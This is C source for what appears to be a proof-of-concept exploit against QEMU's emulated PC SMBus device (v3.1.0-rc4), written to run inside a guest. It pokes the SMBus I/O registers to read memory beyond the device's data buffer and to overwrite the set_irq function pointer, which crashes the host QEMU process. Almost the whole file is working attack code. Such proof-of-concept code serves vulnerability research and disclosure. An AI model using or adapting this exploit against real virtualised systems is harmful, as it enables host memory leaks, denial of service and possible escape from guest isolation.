/* * Derived from PC SMBus implementation in QEMU v3.1.0-rc4. * * Copyright (c) 2006 Fabrice Bellard * Copyright (c) 2018 Michael Hanselmann * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License version 2 as published by the Free Software Foundation. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, see * . */ #ifdef _POSIX_C_SOURCE #undef _POSIX_C_SOURCE #endif #define _POSIX_C_SOURCE 200809L #include #include #include #include #include #include #include #include #include #define PM_SMBUS_MAX_MSG_SIZE 32 #define SMBHSTSTS 0x00 #define SMBHSTCNT 0x02 #define SMBHSTCMD 0x03 #define SMBHSTADD 0x04 #define SMBHSTDAT0 0x05 #define SMBHSTDAT1 0x06 #define SMBBLKDAT 0x07 #define SMBAUXCTL 0x0d #define CTL_INTREN (1 << 0) #define CTL_KILL (1 << 1) #define CTL_LAST_BYTE (1 << 5) #define CTL_START (1 << 6) #define CTL_PEC_EN (1 << 7) #define PROT_QUICK 0 #define PROT_BYTE 1 #define PROT_BYTE_DATA 2 #define PROT_WORD_DATA 3 #define PROT_PROC_CALL 4 #define PROT_BLOCK_DATA 5 #define PROT_I2C_BLOCK_READ 6 #define AUX_PEC (1 << 0) #define AUX_BLK (1 << 1) #define AUX_MASK 0x3 struct PMSMBus { void *smbus; void *_dummy_io; uint8_t smb_stat; uint8_t smb_ctl; uint8_t smb_cmd; uint8_t smb_addr; uint8_t smb_data0; uint8_t smb_data1; uint8_t smb_data[PM_SMBUS_MAX_MSG_SIZE]; uint8_t smb_blkdata; uint8_t smb_auxctl; uint32_t smb_index; /* Set by pm_smbus.c */ void (*reset)(struct PMSMBus *s); /* Set by the user. */ bool i2c_enable; void (*set_irq)(struct PMSMBus *s, bool enabled); void *opaque; /* Internally used by pm_smbus. */ /* Set on block transfers after the last byte has been read, so the * INTR bit can be set at the right time. */ bool op_done; }; static unsigned int pc_smbus_base_port; /* * Parse /proc/ioports and find base I/O port for device with given name. */ static int find_base_port(const char **names) { int result = -1; FILE *stream = NULL; char *line = NULL; size_t len = 0; ssize_t nread; unsigned int from = 0, to = 0; int ret; stream = fopen("/proc/ioports", "r"); if (stream == NULL) { perror("fopen"); exit(EXIT_FAILURE); } while ((nread = getline(&line, &len, stream)) != -1) { char *ptr = line; char *newline; int pos = 0; for (; isspace(*ptr); ++ptr); // I/O port range ret = sscanf(ptr, "%04x-%04x%n", &from, &to, &pos); if (ret < 0 || ret == EOF || ret != 2) { continue; } ptr += pos; for (; isspace(*ptr); ++ptr); if (*ptr != ':') { continue; } ++ptr; for (; isspace(*ptr); ++ptr); // Strip newline if ((newline = strchr(ptr, '\n')) != NULL) { *newline = '\0'; } for (const char **n = names; *n; ++n) { if (strcmp(ptr, *n) == 0) { result = from; break; } } } out: free(line); fclose(stream); return result; } static void set_auxblk(const uint8_t enable) { int8_t before; before = inb(pc_smbus_base_port + SMBAUXCTL); outb((before & ~AUX_BLK) | (enable ? AUX_BLK : 0), pc_smbus_base_port + SMBAUXCTL); } static int8_t get_smb_addr() { return inb(pc_smbus_base_port + SMBHSTADD); } static void set_smb_addr(const uint8_t value) { outb(value, pc_smbus_base_port + SMBHSTADD); } static void set_smb_ctl(const uint8_t value) { outb(value, pc_smbus_base_port + SMBHSTCNT); } static void set_smb_data0(const uint8_t value) { outb(value, pc_smbus_base_port + SMBHSTDAT0); } static void set_smb_blkdata(const uint8_t value) { outb(value, pc_smbus_base_port + SMBBLKDAT); } static int8_t get_smb_blkdata() { return inb(pc_smbus_base_port + SMBBLKDAT); } // Bring emulation into known-good state static void smb_reset() { set_smb_ctl(0); set_smb_data0(0); // Set s->smb_index to 0 set_smb_ctl(CTL_KILL); // Reset status flags set_auxblk(1); outb(0xFF, pc_smbus_base_port + SMBHSTSTS); set_auxblk(0); // Write mode for setting s->op_done set_smb_addr(0); // Force s->op_done to false. Required to enter vulnerable code in // "smb_ioport_writeb". set_smb_ctl((PROT_BLOCK_DATA << 2) | CTL_START | CTL_INTREN); } static int read_data(const int offset, const int length) { if (offset < 1) { fprintf(stderr, "min offset 1\n"); return EXIT_FAILURE; } smb_reset(); // Read mode set_smb_addr(0x01); uint32_t cur_index = 0; for (int pos = 0; pos < length; ++pos) { if (cur_index > 0) { set_smb_data0(0); } // Navigate to offset (unfortunately O(n^2)) for (; cur_index < (offset + pos); ++cur_index) { // Ensure comparison between s->smb_index and s->smb_data0 is not true switch (cur_index) { case 0: set_smb_data0(0xFF); break; case 1: set_smb_data0(0); break; } // Increment s->smb_index by one, reset status flags outb(0xFF, pc_smbus_base_port + SMBHSTSTS); } // Read byte const uint8_t val = get_smb_blkdata(); fputc(val, stdout); if ((pos % 16) == 0) { fflush(stdout); } if (cur_index >= PM_SMBUS_MAX_MSG_SIZE) { // Reading data has reset index cur_index = 0; set_smb_data0(0xFF); } } return 0; } static int write_corrupt_set_irq() { const uint32_t target_offset = offsetof(struct PMSMBus, set_irq) - offsetof(struct PMSMBus, smb_data); smb_reset(); uint32_t cur_index = 0; // Payload set_smb_blkdata('A'); // Write mode set_smb_addr(0); // Take branch not modifying or copying smb_blkdata in "smb_ioport_writeb" set_smb_ctl(PROT_I2C_BLOCK_READ << 2); // Move s->smb_index to target offset for (; cur_index < (target_offset - 1); ++cur_index) { set_smb_data0(cur_index + 1); // Increment s->smb_index by one, reset status flags outb(0xFF, pc_smbus_base_port + SMBHSTSTS); } // Ensure condition doesn't match set_smb_data0(cur_index - 1); // Write byte to target offset, will lead to segmentation fault when calling // s->set_irq at end of "smb_ioport_writeb" outb(0xFF, pc_smbus_base_port + SMBHSTSTS); return 0; } static void usage(const char *program) { fprintf(stderr, "Read starting at given offset and write to stdout:\n" "%1$s read \n" "\n" "Corrupt function pointer and crash QEMU:\n" "%1$s corrupt-set-irq\n", program); exit(EXIT_FAILURE); } int main(int argc, char **argv) { const char * candidates[] = { // "-machine pc" "piix4_smbus", // "-machine q35" after unloading "i2c_i801" module "0000:00:1f.3", NULL, }; int ret; ret = find_base_port(candidates); if (ret < 0) { fprintf(stderr, "Base port not found\n"); return EXIT_FAILURE; } pc_smbus_base_port = ret; ret = ioperm(pc_smbus_base_port, 64, 1); if (ret < 0) { perror("ioperm"); return EXIT_FAILURE; } int offset, length; if (argc == 4 && strcmp(argv[1], "read") == 0) { offset = atoi(argv[2]); length = atoi(argv[3]); return read_data(offset, length); } if (argc == 2 && strcmp(argv[1], "corrupt-set-irq") == 0) { return write_corrupt_set_irq(); } usage(argv[0]); return EXIT_FAILURE; } /* vim: set sw=2 sts=2 et : */